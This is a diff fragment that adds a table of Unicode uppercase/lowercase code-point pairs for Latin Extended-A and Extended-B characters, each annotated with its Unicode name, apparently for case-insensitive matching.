+ [0x100, 0x101], /* LATIN CAPITAL LETTER A WITH MACRON (LATIN CAPITAL LETTER A MACRON) */
+ [0x100, 0x101], /* LATIN SMALL LETTER A WITH MACRON (LATIN SMALL LETTER A MACRON) */
+ [0x102, 0x103], /* LATIN CAPITAL LETTER A WITH BREVE (LATIN CAPITAL LETTER A BREVE) */
+ [0x102, 0x103], /* LATIN SMALL LETTER A WITH BREVE (LATIN SMALL LETTER A BREVE) */
+ [0x104, 0x105], /* LATIN CAPITAL LETTER A WITH OGONEK (LATIN CAPITAL LETTER A OGONEK) */
+ [0x104, 0x105], /* LATIN SMALL LETTER A WITH OGONEK (LATIN SMALL LETTER A OGONEK) */
+ [0x106, 0x107], /* LATIN CAPITAL LETTER C WITH ACUTE (LATIN CAPITAL LETTER C ACUTE) */
+ [0x106, 0x107], /* LATIN SMALL LETTER C WITH ACUTE (LATIN SMALL LETTER C ACUTE) */
+ [0x108, 0x109], /* LATIN CAPITAL LETTER C WITH CIRCUMFLEX (LATIN CAPITAL LETTER C CIRCUMFLEX) */
+ [0x108, 0x109], /* LATIN SMALL LETTER C WITH CIRCUMFLEX (LATIN SMALL LETTER C CIRCUMFLEX) */
+ [0x10a, 0x10b], /* LATIN CAPITAL LETTER C WITH DOT ABOVE (LATIN CAPITAL LETTER C DOT) */
+ [0x10a, 0x10b], /* LATIN SMALL LETTER C WITH DOT ABOVE (LATIN SMALL LETTER C DOT) */
+ [0x10c, 0x10d], /* LATIN CAPITAL LETTER C WITH CARON (LATIN CAPITAL LETTER C HACEK) */
+ [0x10c, 0x10d], /* LATIN SMALL LETTER C WITH CARON (LATIN SMALL LETTER C HACEK) */
+ [0x10e, 0x10f], /* LATIN CAPITAL LETTER D WITH CARON (LATIN CAPITAL LETTER D HACEK) */
+ [0x10e, 0x10f], /* LATIN SMALL LETTER D WITH CARON (LATIN SMALL LETTER D HACEK) */
+ [0x110, 0x111], /* LATIN CAPITAL LETTER D WITH STROKE (LATIN CAPITAL LETTER D BAR) */
+ [0x110, 0x111], /* LATIN SMALL LETTER D WITH STROKE (LATIN SMALL LETTER D BAR) */
+ [0x112, 0x113], /* LATIN CAPITAL LETTER E WITH MACRON (LATIN CAPITAL LETTER E MACRON) */
+ [0x112, 0x113], /* LATIN SMALL LETTER E WITH MACRON (LATIN SMALL LETTER E MACRON) */
+ [0x114, 0x115], /* LATIN CAPITAL LETTER E WITH BREVE (LATIN CAPITAL LETTER E BREVE) */
+ [0x114, 0x115], /* LATIN SMALL LETTER E WITH BREVE (LATIN SMALL LETTER E BREVE) */
+ [0x116, 0x117], /* LATIN CAPITAL LETTER E WITH DOT ABOVE (LATIN CAPITAL LETTER E DOT) */
+ [0x116, 0x117], /* LATIN SMALL LETTER E WITH DOT ABOVE (LATIN SMALL LETTER E DOT) */
+ [0x118, 0x119], /* LATIN CAPITAL LETTER E WITH OGONEK (LATIN CAPITAL LETTER E OGONEK) */
+ [0x118, 0x119], /* LATIN SMALL LETTER E WITH OGONEK (LATIN SMALL LETTER E OGONEK) */
+ [0x11a, 0x11b], /* LATIN CAPITAL LETTER E WITH CARON (LATIN CAPITAL LETTER E HACEK) */
+ [0x11a, 0x11b], /* LATIN SMALL LETTER E WITH CARON (LATIN SMALL LETTER E HACEK) */
+ [0x11c, 0x11d], /* LATIN CAPITAL LETTER G WITH CIRCUMFLEX (LATIN CAPITAL LETTER G CIRCUMFLEX) */
+ [0x11c, 0x11d], /* LATIN SMALL LETTER G WITH CIRCUMFLEX (LATIN SMALL LETTER G CIRCUMFLEX) */
+ [0x11e, 0x11f], /* LATIN CAPITAL LETTER G WITH BREVE (LATIN CAPITAL LETTER G BREVE) */
+ [0x11e, 0x11f], /* LATIN SMALL LETTER G WITH BREVE (LATIN SMALL LETTER G BREVE) */
+ [0x120, 0x121], /* LATIN CAPITAL LETTER G WITH DOT ABOVE (LATIN CAPITAL LETTER G DOT) */
+ [0x120, 0x121], /* LATIN SMALL LETTER G WITH DOT ABOVE (LATIN SMALL LETTER G DOT) */
+ [0x122, 0x123], /* LATIN CAPITAL LETTER G WITH CEDILLA (LATIN CAPITAL LETTER G CEDILLA) */
+ [0x122, 0x123], /* LATIN SMALL LETTER G WITH CEDILLA (LATIN SMALL LETTER G CEDILLA) */
+ [0x124, 0x125], /* LATIN CAPITAL LETTER H WITH CIRCUMFLEX (LATIN CAPITAL LETTER H CIRCUMFLEX) */
+ [0x124, 0x125], /* LATIN SMALL LETTER H WITH CIRCUMFLEX (LATIN SMALL LETTER H CIRCUMFLEX) */
+ [0x126, 0x127], /* LATIN CAPITAL LETTER H WITH STROKE (LATIN CAPITAL LETTER H BAR) */
+ [0x126, 0x127], /* LATIN SMALL LETTER H WITH STROKE (LATIN SMALL LETTER H BAR) */
+ [0x128, 0x129], /* LATIN CAPITAL LETTER I WITH TILDE (LATIN CAPITAL LETTER I TILDE) */
+ [0x128, 0x129], /* LATIN SMALL LETTER I WITH TILDE (LATIN SMALL LETTER I TILDE) */
+ [0x12a, 0x12b], /* LATIN CAPITAL LETTER I WITH MACRON (LATIN CAPITAL LETTER I MACRON) */
+ [0x12a, 0x12b], /* LATIN SMALL LETTER I WITH MACRON (LATIN SMALL LETTER I MACRON) */
+ [0x12c, 0x12d], /* LATIN CAPITAL LETTER I WITH BREVE (LATIN CAPITAL LETTER I BREVE) */
+ [0x12c, 0x12d], /* LATIN SMALL LETTER I WITH BREVE (LATIN SMALL LETTER I BREVE) */
+ [0x12e, 0x12f], /* LATIN CAPITAL LETTER I WITH OGONEK (LATIN CAPITAL LETTER I OGONEK) */
+ [0x12e, 0x12f], /* LATIN SMALL LETTER I WITH OGONEK (LATIN SMALL LETTER I OGONEK) */
+ [0x130, 0x69], /* LATIN CAPITAL LETTER I WITH DOT ABOVE (LATIN CAPITAL LETTER I DOT) */
+ [0x49, 0x131], /* LATIN SMALL LETTER DOTLESS I */
+ [0x132, 0x133], /* LATIN CAPITAL LIGATURE IJ (LATIN CAPITAL LETTER I J) */
+ [0x132, 0x133], /* LATIN SMALL LIGATURE IJ (LATIN SMALL LETTER I J) */
+ [0x134, 0x135], /* LATIN CAPITAL LETTER J WITH CIRCUMFLEX (LATIN CAPITAL LETTER J CIRCUMFLEX) */
+ [0x134, 0x135], /* LATIN SMALL LETTER J WITH CIRCUMFLEX (LATIN SMALL LETTER J CIRCUMFLEX) */
+ [0x136, 0x137], /* LATIN CAPITAL LETTER K WITH CEDILLA (LATIN CAPITAL LETTER K CEDILLA) */
+ [0x136, 0x137], /* LATIN SMALL LETTER K WITH CEDILLA (LATIN SMALL LETTER K CEDILLA) */
+ [0x138, 0x138], /* LATIN SMALL LETTER KRA */
+ [0x139, 0x13a], /* LATIN CAPITAL LETTER L WITH ACUTE (LATIN CAPITAL LETTER L ACUTE) */
+ [0x139, 0x13a], /* LATIN SMALL LETTER L WITH ACUTE (LATIN SMALL LETTER L ACUTE) */
+ [0x13b, 0x13c], /* LATIN CAPITAL LETTER L WITH CEDILLA (LATIN CAPITAL LETTER L CEDILLA) */
+ [0x13b, 0x13c], /* LATIN SMALL LETTER L WITH CEDILLA (LATIN SMALL LETTER L CEDILLA) */
+ [0x13d, 0x13e], /* LATIN CAPITAL LETTER L WITH CARON (LATIN CAPITAL LETTER L HACEK) */
+ [0x13d, 0x13e], /* LATIN SMALL LETTER L WITH CARON (LATIN SMALL LETTER L HACEK) */
+ [0x13f, 0x140], /* LATIN CAPITAL LETTER L WITH MIDDLE DOT */
+ [0x13f, 0x140], /* LATIN SMALL LETTER L WITH MIDDLE DOT */
+ [0x141, 0x142], /* LATIN CAPITAL LETTER L WITH STROKE (LATIN CAPITAL LETTER L SLASH) */
+ [0x141, 0x142], /* LATIN SMALL LETTER L WITH STROKE (LATIN SMALL LETTER L SLASH) */
+ [0x143, 0x144], /* LATIN CAPITAL LETTER N WITH ACUTE (LATIN CAPITAL LETTER N ACUTE) */
+ [0x143, 0x144], /* LATIN SMALL LETTER N WITH ACUTE (LATIN SMALL LETTER N ACUTE) */
+ [0x145, 0x146], /* LATIN CAPITAL LETTER N WITH CEDILLA (LATIN CAPITAL LETTER N CEDILLA) */
+ [0x145, 0x146], /* LATIN SMALL LETTER N WITH CEDILLA (LATIN SMALL LETTER N CEDILLA) */
+ [0x147, 0x148], /* LATIN CAPITAL LETTER N WITH CARON (LATIN CAPITAL LETTER N HACEK) */
+ [0x147, 0x148], /* LATIN SMALL LETTER N WITH CARON (LATIN SMALL LETTER N HACEK) */
+ [0x149, 0x149], /* LATIN SMALL LETTER N PRECEDED BY APOSTROPHE (LATIN SMALL LETTER APOSTROPHE N) */
+ [0x14a, 0x14b], /* LATIN CAPITAL LETTER ENG */
+ [0x14a, 0x14b], /* LATIN SMALL LETTER ENG */
+ [0x14c, 0x14d], /* LATIN CAPITAL LETTER O WITH MACRON (LATIN CAPITAL LETTER O MACRON) */
+ [0x14c, 0x14d], /* LATIN SMALL LETTER O WITH MACRON (LATIN SMALL LETTER O MACRON) */
+ [0x14e, 0x14f], /* LATIN CAPITAL LETTER O WITH BREVE (LATIN CAPITAL LETTER O BREVE) */
+ [0x14e, 0x14f], /* LATIN SMALL LETTER O WITH BREVE (LATIN SMALL LETTER O BREVE) */
+ [0x150, 0x151], /* LATIN CAPITAL LETTER O WITH DOUBLE ACUTE (LATIN CAPITAL LETTER O DOUBLE ACUTE) */
+ [0x150, 0x151], /* LATIN SMALL LETTER O WITH DOUBLE ACUTE (LATIN SMALL LETTER O DOUBLE ACUTE) */
+ [0x152, 0x153], /* LATIN CAPITAL LIGATURE OE (LATIN CAPITAL LETTER O E) */
+ [0x152, 0x153], /* LATIN SMALL LIGATURE OE (LATIN SMALL LETTER O E) */
+ [0x154, 0x155], /* LATIN CAPITAL LETTER R WITH ACUTE (LATIN CAPITAL LETTER R ACUTE) */
+ [0x154, 0x155], /* LATIN SMALL LETTER R WITH ACUTE (LATIN SMALL LETTER R ACUTE) */
+ [0x156, 0x157], /* LATIN CAPITAL LETTER R WITH CEDILLA (LATIN CAPITAL LETTER R CEDILLA) */
+ [0x156, 0x157], /* LATIN SMALL LETTER R WITH CEDILLA (LATIN SMALL LETTER R CEDILLA) */
+ [0x158, 0x159], /* LATIN CAPITAL LETTER R WITH CARON (LATIN CAPITAL LETTER R HACEK) */
+ [0x158, 0x159], /* LATIN SMALL LETTER R WITH CARON (LATIN SMALL LETTER R HACEK) */
+ [0x15a, 0x15b], /* LATIN CAPITAL LETTER S WITH ACUTE (LATIN CAPITAL LETTER S ACUTE) */
+ [0x15a, 0x15b], /* LATIN SMALL LETTER S WITH ACUTE (LATIN SMALL LETTER S ACUTE) */
+ [0x15c, 0x15d], /* LATIN CAPITAL LETTER S WITH CIRCUMFLEX (LATIN CAPITAL LETTER S CIRCUMFLEX) */
+ [0x15c, 0x15d], /* LATIN SMALL LETTER S WITH CIRCUMFLEX (LATIN SMALL LETTER S CIRCUMFLEX) */
+ [0x15e, 0x15f], /* LATIN CAPITAL LETTER S WITH CEDILLA (LATIN CAPITAL LETTER S CEDILLA) */
+ [0x15e, 0x15f], /* LATIN SMALL LETTER S WITH CEDILLA (LATIN SMALL LETTER S CEDILLA) */
+ [0x160, 0x161], /* LATIN CAPITAL LETTER S WITH CARON (LATIN CAPITAL LETTER S HACEK) */
+ [0x160, 0x161], /* LATIN SMALL LETTER S WITH CARON (LATIN SMALL LETTER S HACEK) */
+ [0x162, 0x163], /* LATIN CAPITAL LETTER T WITH CEDILLA (LATIN CAPITAL LETTER T CEDILLA) */
+ [0x162, 0x163], /* LATIN SMALL LETTER T WITH CEDILLA (LATIN SMALL LETTER T CEDILLA) */
+ [0x164, 0x165], /* LATIN CAPITAL LETTER T WITH CARON (LATIN CAPITAL LETTER T HACEK) */
+ [0x164, 0x165], /* LATIN SMALL LETTER T WITH CARON (LATIN SMALL LETTER T HACEK) */
+ [0x166, 0x167], /* LATIN CAPITAL LETTER T WITH STROKE (LATIN CAPITAL LETTER T BAR) */
+ [0x166, 0x167], /* LATIN SMALL LETTER T WITH STROKE (LATIN SMALL LETTER T BAR) */
+ [0x168, 0x169], /* LATIN CAPITAL LETTER U WITH TILDE (LATIN CAPITAL LETTER U TILDE) */
+ [0x168, 0x169], /* LATIN SMALL LETTER U WITH TILDE (LATIN SMALL LETTER U TILDE) */
+ [0x16a, 0x16b], /* LATIN CAPITAL LETTER U WITH MACRON (LATIN CAPITAL LETTER U MACRON) */
+ [0x16a, 0x16b], /* LATIN SMALL LETTER U WITH MACRON (LATIN SMALL LETTER U MACRON) */
+ [0x16c, 0x16d], /* LATIN CAPITAL LETTER U WITH BREVE (LATIN CAPITAL LETTER U BREVE) */
+ [0x16c, 0x16d], /* LATIN SMALL LETTER U WITH BREVE (LATIN SMALL LETTER U BREVE) */
+ [0x16e, 0x16f], /* LATIN CAPITAL LETTER U WITH RING ABOVE (LATIN CAPITAL LETTER U RING) */
+ [0x16e, 0x16f], /* LATIN SMALL LETTER U WITH RING ABOVE (LATIN SMALL LETTER U RING) */
+ [0x170, 0x171], /* LATIN CAPITAL LETTER U WITH DOUBLE ACUTE (LATIN CAPITAL LETTER U DOUBLE ACUTE) */
+ [0x170, 0x171], /* LATIN SMALL LETTER U WITH DOUBLE ACUTE (LATIN SMALL LETTER U DOUBLE ACUTE) */
+ [0x172, 0x173], /* LATIN CAPITAL LETTER U WITH OGONEK (LATIN CAPITAL LETTER U OGONEK) */
+ [0x172, 0x173], /* LATIN SMALL LETTER U WITH OGONEK (LATIN SMALL LETTER U OGONEK) */
+ [0x174, 0x175], /* LATIN CAPITAL LETTER W WITH CIRCUMFLEX (LATIN CAPITAL LETTER W CIRCUMFLEX) */
+ [0x174, 0x175], /* LATIN SMALL LETTER W WITH CIRCUMFLEX (LATIN SMALL LETTER W CIRCUMFLEX) */
+ [0x176, 0x177], /* LATIN CAPITAL LETTER Y WITH CIRCUMFLEX (LATIN CAPITAL LETTER Y CIRCUMFLEX) */
+ [0x176, 0x177], /* LATIN SMALL LETTER Y WITH CIRCUMFLEX (LATIN SMALL LETTER Y CIRCUMFLEX) */
+ [0x178, 0xff], /* LATIN CAPITAL LETTER Y WITH DIAERESIS (LATIN CAPITAL LETTER Y DIAERESIS) */
+ [0x179, 0x17a], /* LATIN CAPITAL LETTER Z WITH ACUTE (LATIN CAPITAL LETTER Z ACUTE) */
+ [0x179, 0x17a], /* LATIN SMALL LETTER Z WITH ACUTE (LATIN SMALL LETTER Z ACUTE) */
+ [0x17b, 0x17c], /* LATIN CAPITAL LETTER Z WITH DOT ABOVE (LATIN CAPITAL LETTER Z DOT) */
+ [0x17b, 0x17c], /* LATIN SMALL LETTER Z WITH DOT ABOVE (LATIN SMALL LETTER Z DOT) */
+ [0x17d, 0x17e], /* LATIN CAPITAL LETTER Z WITH CARON (LATIN CAPITAL LETTER Z HACEK) */
+ [0x17d, 0x17e], /* LATIN SMALL LETTER Z WITH CARON (LATIN SMALL LETTER Z HACEK) */
+ [0x53, 0x17f], /* LATIN SMALL LETTER LONG S */
+ [0x243, 0x180], /* LATIN SMALL LETTER B WITH STROKE (LATIN SMALL LETTER B BAR) */
+ [0x181, 0x253], /* LATIN CAPITAL LETTER B WITH HOOK (LATIN CAPITAL LETTER B HOOK) */
+ [0x182, 0x183], /* LATIN CAPITAL LETTER B WITH TOPBAR (LATIN CAPITAL LETTER B TOPBAR) */
+ [0x182, 0x183], /* LATIN SMALL LETTER B WITH TOPBAR (LATIN SMALL LETTER B TOPBAR) */
+ [0x184, 0x185], /* LATIN CAPITAL LETTER TONE SIX */
+ [0x184, 0x185], /* LATIN SMALL LETTER TONE SIX */
+ [0x186, 0x254], /* LATIN CAPITAL LETTER OPEN O */
+ [0x187, 0x188], /* LATIN CAPITAL LETTER C WITH HOOK (LATIN CAPITAL LETTER C HOOK) */
+ [0x187, 0x188], /* LATIN SMALL LETTER C WITH HOOK (LATIN SMALL LETTER C HOOK) */
+ [0x189, 0x256], /* LATIN CAPITAL LETTER AFRICAN D */
+ [0x18a, 0x257], /* LATIN CAPITAL LETTER D WITH HOOK (LATIN CAPITAL LETTER D HOOK) */
+ [0x18b, 0x18c], /* LATIN CAPITAL LETTER D WITH TOPBAR (LATIN CAPITAL LETTER D TOPBAR) */
+ [0x18b, 0x18c], /* LATIN SMALL LETTER D WITH TOPBAR (LATIN SMALL LETTER D TOPBAR) */
+ [0x18d, 0x18d], /* LATIN SMALL LETTER TURNED DELTA */
+ [0x18e, 0x1dd], /* LATIN CAPITAL LETTER REVERSED E (LATIN CAPITAL LETTER TURNED E) */
+ [0x18f, 0x259], /* LATIN CAPITAL LETTER SCHWA */
+ [0x190, 0x25b], /* LATIN CAPITAL LETTER OPEN E (LATIN CAPITAL LETTER EPSILON) */
+ [0x191, 0x192], /* LATIN CAPITAL LETTER F WITH HOOK (LATIN CAPITAL LETTER F HOOK) */
+ [0x191, 0x192], /* LATIN SMALL LETTER F WITH HOOK (LATIN SMALL LETTER SCRIPT F) */
+ [0x193, 0x260], /* LATIN CAPITAL LETTER G WITH HOOK (LATIN CAPITAL LETTER G HOOK) */
+ [0x194, 0x263], /* LATIN CAPITAL LETTER GAMMA */
+ [0x1f6, 0x195], /* LATIN SMALL LETTER HV (LATIN SMALL LETTER H V) */
+ [0x196, 0x269], /* LATIN CAPITAL LETTER IOTA */
+ [0x197, 0x268], /* LATIN CAPITAL LETTER I WITH STROKE (LATIN CAPITAL LETTER BARRED I) */
+ [0x198, 0x199], /* LATIN CAPITAL LETTER K WITH HOOK (LATIN CAPITAL LETTER K HOOK) */
+ [0x198, 0x199], /* LATIN SMALL LETTER K WITH HOOK (LATIN SMALL LETTER K HOOK) */
+ [0x23d, 0x19a], /* LATIN SMALL LETTER L WITH BAR (LATIN SMALL LETTER BARRED L) */
+ [0x19b, 0x19b], /* LATIN SMALL LETTER LAMBDA WITH STROKE (LATIN SMALL LETTER BARRED LAMBDA) */
+ [0x19c, 0x26f], /* LATIN CAPITAL LETTER TURNED M */
+ [0x19d, 0x272], /* LATIN CAPITAL LETTER N WITH LEFT HOOK (LATIN CAPITAL LETTER N HOOK) */
+ [0x220, 0x19e], /* LATIN SMALL LETTER N WITH LONG RIGHT LEG */
+ [0x19f, 0x275], /* LATIN CAPITAL LETTER O WITH MIDDLE TILDE (LATIN CAPITAL LETTER BARRED O) */
+ [0x1a0, 0x1a1], /* LATIN CAPITAL LETTER O WITH HORN (LATIN CAPITAL LETTER O HORN) */
+ [0x1a0, 0x1a1], /* LATIN SMALL LETTER O WITH HORN (LATIN SMALL LETTER O HORN) */
+ [0x1a2, 0x1a3], /* LATIN CAPITAL LETTER OI (LATIN CAPITAL LETTER O I) */
+ [0x1a2, 0x1a3], /* LATIN SMALL LETTER OI (LATIN SMALL LETTER O I) */
+ [0x1a4, 0x1a5], /* LATIN CAPITAL LETTER P WITH HOOK (LATIN CAPITAL LETTER P HOOK) */
+ [0x1a4, 0x1a5], /* LATIN SMALL LETTER P WITH HOOK (LATIN SMALL LETTER P HOOK) */
+ [0x1a6, 0x280], /* LATIN LETTER YR (LATIN LETTER Y R) */
+ [0x1a7, 0x1a8], /* LATIN CAPITAL LETTER TONE TWO */
+ [0x1a7, 0x1a8], /* LATIN SMALL LETTER TONE TWO */
+ [0x1a9, 0x283], /* LATIN CAPITAL LETTER ESH */
+ [0x1aa, 0x1aa], /* LATIN LETTER REVERSED ESH LOOP */
+ [0x1ab, 0x1ab], /* LATIN SMALL LETTER T WITH PALATAL HOOK (LATIN SMALL LETTER T PALATAL HOOK) */
+ [0x1ac, 0x1ad], /* LATIN CAPITAL LETTER T WITH HOOK (LATIN CAPITAL LETTER T HOOK) */
+ [0x1ac, 0x1ad], /* LATIN SMALL LETTER T WITH HOOK (LATIN SMALL LETTER T HOOK) */
+ [0x1ae, 0x288], /* LATIN CAPITAL LETTER T WITH RETROFLEX HOOK (LATIN CAPITAL LETTER T RETROFLEX HOOK) */
+ [0x1af, 0x1b0], /* LATIN CAPITAL LETTER U WITH HORN (LATIN CAPITAL LETTER U HORN) */
+ [0x1af, 0x1b0], /* LATIN SMALL LETTER U WITH HORN (LATIN SMALL LETTER U HORN) */
+ [0x1b1, 0x28a], /* LATIN CAPITAL LETTER UPSILON */
+ [0x1b2, 0x28b], /* LATIN CAPITAL LETTER V WITH HOOK (LATIN CAPITAL LETTER SCRIPT V) */
+ [0x1b3, 0x1b4], /* LATIN CAPITAL LETTER Y WITH HOOK (LATIN CAPITAL LETTER Y HOOK) */
+ [0x1b3, 0x1b4], /* LATIN SMALL LETTER Y WITH HOOK (LATIN SMALL LETTER Y HOOK) */
+ [0x1b5, 0x1b6], /* LATIN CAPITAL LETTER Z WITH STROKE (LATIN CAPITAL LETTER Z BAR) */
+ [0x1b5, 0x1b6], /* LATIN SMALL LETTER Z WITH STROKE (LATIN SMALL LETTER Z BAR) */
+ [0x1b7, 0x292], /* LATIN CAPITAL LETTER EZH (LATIN CAPITAL LETTER YOGH) */
+ [0x1b8, 0x1b9], /* LATIN CAPITAL LETTER EZH REVERSED (LATIN CAPITAL LETTER REVERSED YOGH) */
+ [0x1b8, 0x1b9], /* LATIN SMALL LETTER EZH REVERSED (LATIN SMALL LETTER REVERSED YOGH) */
+ [0x1ba, 0x1ba], /* LATIN SMALL LETTER EZH WITH TAIL (LATIN SMALL LETTER YOGH WITH TAIL) */
+ [0x1bb, 0x1bb], /* LATIN LETTER TWO WITH STROKE (LATIN LETTER TWO BAR) */
+ [0x1bc, 0x1bd], /* LATIN CAPITAL LETTER TONE FIVE */
+ [0x1bc, 0x1bd], /* LATIN SMALL LETTER TONE FIVE */
+ [0x1be, 0x1be], /* LATIN LETTER INVERTED GLOTTAL STOP WITH STROKE (LATIN LETTER INVERTED GLOTTAL STOP BAR) */
+ [0x1f7, 0x1bf], /* LATIN LETTER WYNN */
+ [0x1c0, 0x1c0], /* LATIN LETTER DENTAL CLICK (LATIN LETTER PIPE) */
+ [0x1c1, 0x1c1], /* LATIN LETTER LATERAL CLICK (LATIN LETTER DOUBLE PIPE) */
+ [0x1c2, 0x1c2], /* LATIN LETTER ALVEOLAR CLICK (LATIN LETTER PIPE DOUBLE BAR) */
+ [0x1c3, 0x1c3], /* LATIN LETTER RETROFLEX CLICK (LATIN LETTER EXCLAMATION MARK) */
+ [0x1c4, 0x1c6], /* LATIN CAPITAL LETTER DZ WITH CARON (LATIN CAPITAL LETTER D Z HACEK) */
+ [0x1c4, 0x1c6], /* LATIN CAPITAL LETTER D WITH SMALL LETTER Z WITH CARON (LATIN LETTER CAPITAL D SMALL Z HACEK) */
+ [0x1c4, 0x1c6], /* LATIN SMALL LETTER DZ WITH CARON (LATIN SMALL LETTER D Z HACEK) */
+ [0x1c7, 0x1c9], /* LATIN CAPITAL LETTER LJ (LATIN CAPITAL LETTER L J) */
+ [0x1c7, 0x1c9], /* LATIN CAPITAL LETTER L WITH SMALL LETTER J (LATIN LETTER CAPITAL L SMALL J) */
+ [0x1c7, 0x1c9], /* LATIN SMALL LETTER LJ (LATIN SMALL LETTER L J) */
+ [0x1ca, 0x1cc], /* LATIN CAPITAL LETTER NJ (LATIN CAPITAL LETTER N J) */
+ [0x1ca, 0x1cc], /* LATIN CAPITAL LETTER N WITH SMALL LETTER J (LATIN LETTER CAPITAL N SMALL J) */
+ [0x1ca, 0x1cc], /* LATIN SMALL LETTER NJ (LATIN SMALL LETTER N J) */
+ [0x1cd, 0x1ce], /* LATIN CAPITAL LETTER A WITH CARON (LATIN CAPITAL LETTER A HACEK) */
+ [0x1cd, 0x1ce], /* LATIN SMALL LETTER A WITH CARON (LATIN SMALL LETTER A HACEK) */
+ [0x1cf, 0x1d0], /* LATIN CAPITAL LETTER I WITH CARON (LATIN CAPITAL LETTER I HACEK) */
+ [0x1cf, 0x1d0], /* LATIN SMALL LETTER I WITH CARON (LATIN SMALL LETTER I HACEK) */
+ [0x1d1, 0x1d2], /* LATIN CAPITAL LETTER O WITH CARON (LATIN CAPITAL LETTER O HACEK) */
+ [0x1d1, 0x1d2], /* LATIN SMALL LETTER O WITH CARON (LATIN SMALL LETTER O HACEK) */
+ [0x1d3, 0x1d4], /* LATIN CAPITAL LETTER U WITH CARON (LATIN CAPITAL LETTER U HACEK) */
+ [0x1d3, 0x1d4], /* LATIN SMALL LETTER U WITH CARON (LATIN SMALL LETTER U HACEK) */
+ [0x1d5, 0x1d6], /* LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON (LATIN CAPITAL LETTER U DIAERESIS MACRON) */
+ [0x1d5, 0x1d6], /* LATIN SMALL LETTER U WITH DIAERESIS AND MACRON (LATIN SMALL LETTER U DIAERESIS MACRON) */
+ [0x1d7, 0x1d8], /* LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE (LATIN CAPITAL LETTER U DIAERESIS ACUTE) */
+ [0x1d7, 0x1d8], /* LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE (LATIN SMALL LETTER U DIAERESIS ACUTE) */
+ [0x1d9, 0x1da], /* LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON (LATIN CAPITAL LETTER U DIAERESIS HACEK) */
+ [0x1d9, 0x1da], /* LATIN SMALL LETTER U WITH DIAERESIS AND CARON (LATIN SMALL LETTER U DIAERESIS HACEK) */
+ [0x1db, 0x1dc], /* LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE (LATIN CAPITAL LETTER U DIAERESIS GRAVE) */
+ [0x1db, 0x1dc], /* LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE (LATIN SMALL LETTER U DIAERESIS GRAVE) */
+ [0x18e, 0x1dd], /* LATIN SMALL LETTER TURNED E */
+ [0x1de, 0x1df], /* LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON (LATIN CAPITAL LETTER A DIAERESIS MACRON) */
+ [0x1de, 0x1df], /* LATIN SMALL LETTER A WITH DIAERESIS AND MACRON (LATIN SMALL LETTER A DIAERESIS MACRON) */
+ [0x1e0, 0x1e1], /* LATIN CAPITAL LETTER A WITH DOT ABOVE AND MACRON (LATIN CAPITAL LETTER A DOT MACRON) */
+ [0x1e0, 0x1e1], /* LATIN SMALL LETTER A WITH DOT ABOVE AND MACRON (LATIN SMALL LETTER A DOT MACRON) */
+ [0x1e2, 0x1e3], /* LATIN CAPITAL LETTER AE WITH MACRON (LATIN CAPITAL LETTER A E MACRON) */
+ [0x1e2, 0x1e3], /* LATIN SMALL LETTER AE WITH MACRON (LATIN SMALL LETTER A E MACRON) */
+ [0x1e4, 0x1e5], /* LATIN CAPITAL LETTER G WITH STROKE (LATIN CAPITAL LETTER G BAR) */
+ [0x1e4, 0x1e5], /* LATIN SMALL LETTER G WITH STROKE (LATIN SMALL LETTER G BAR) */
+ [0x1e6, 0x1e7], /* LATIN CAPITAL LETTER G WITH CARON (LATIN CAPITAL LETTER G HACEK) */
+ [0x1e6, 0x1e7], /* LATIN SMALL LETTER G WITH CARON (LATIN SMALL LETTER G HACEK) */
+ [0x1e8, 0x1e9], /* LATIN CAPITAL LETTER K WITH CARON (LATIN CAPITAL LETTER K HACEK) */
+ [0x1e8, 0x1e9], /* LATIN SMALL LETTER K WITH CARON (LATIN SMALL LETTER K HACEK) */
+ [0x1ea, 0x1eb], /* LATIN CAPITAL LETTER O WITH OGONEK (LATIN CAPITAL LETTER O OGONEK) */
+ [0x1ea, 0x1eb], /* LATIN SMALL LETTER O WITH OGONEK (LATIN SMALL LETTER O OGONEK) */
+ [0x1ec, 0x1ed], /* LATIN CAPITAL LETTER O WITH OGONEK AND MACRON (LATIN CAPITAL LETTER O OGONEK MACRON) */
+ [0x1ec, 0x1ed], /* LATIN SMALL LETTER O WITH OGONEK AND MACRON (LATIN SMALL LETTER O OGONEK MACRON) */
+ [0x1ee, 0x1ef], /* LATIN CAPITAL LETTER EZH WITH CARON (LATIN CAPITAL LETTER YOGH HACEK) */
+ [0x1ee, 0x1ef], /* LATIN SMALL LETTER EZH WITH CARON (LATIN SMALL LETTER YOGH HACEK) */
+ [0x1f0, 0x1f0], /* LATIN SMALL LETTER J WITH CARON (LATIN SMALL LETTER J HACEK) */
+ [0x1f1, 0x1f3], /* LATIN CAPITAL LETTER DZ */
+ [0x1f1, 0x1f3], /* LATIN CAPITAL LETTER D WITH SMALL LETTER Z */
+ [0x1f1, 0x1f3], /* LATIN SMALL LETTER DZ */
+ [0x1f4, 0x1f5], /* LATIN CAPITAL LETTER G WITH ACUTE */
+ [0x1f4, 0x1f5], /* LATIN SMALL LETTER G WITH ACUTE */
+ [0x1f6, 0x195], /* LATIN CAPITAL LETTER HWAIR */
+ [0x1f7, 0x1bf], /* LATIN CAPITAL LETTER WYNN */
+ [0x1f8, 0x1f9], /* LATIN CAPITAL LETTER N WITH GRAVE */
+ [0x1f8, 0x1f9], /* LATIN SMALL LETTER N WITH GRAVE */
+ [0x1fa, 0x1fb], /* LATIN CAPITAL LETTER A WITH RING ABOVE AND ACUTE */
+ [0x1fa, 0x1fb], /* LATIN SMALL LETTER A WITH RING ABOVE AND ACUTE */
+ [0x1fc, 0x1fd], /* LATIN CAPITAL LETTER AE WITH ACUTE */
+ [0x1fc, 0x1fd], /* LATIN SMALL LETTER AE WITH ACUTE */
+ [0x1fe, 0x1ff], /* LATIN CAPITAL LETTER O WITH STROKE AND ACUTE */
+ [0x1fe, 0x1ff], /* LATIN SMALL LETTER O WITH STROKE AND ACUTE */
+ [0x200, 0x201], /* LATIN CAPITAL LETTER A WITH DOUBLE GRAVE */
+ [0x200, 0x201], /* LATIN SMALL LETTER A WITH DOUBLE GRAVE */
+ [0x202, 0x203], /* LATIN CAPITAL LETTER A WITH INVERTED BREVE */
+ [0x202, 0x203], /* LATIN SMALL LETTER A WITH INVERTED BREVE */
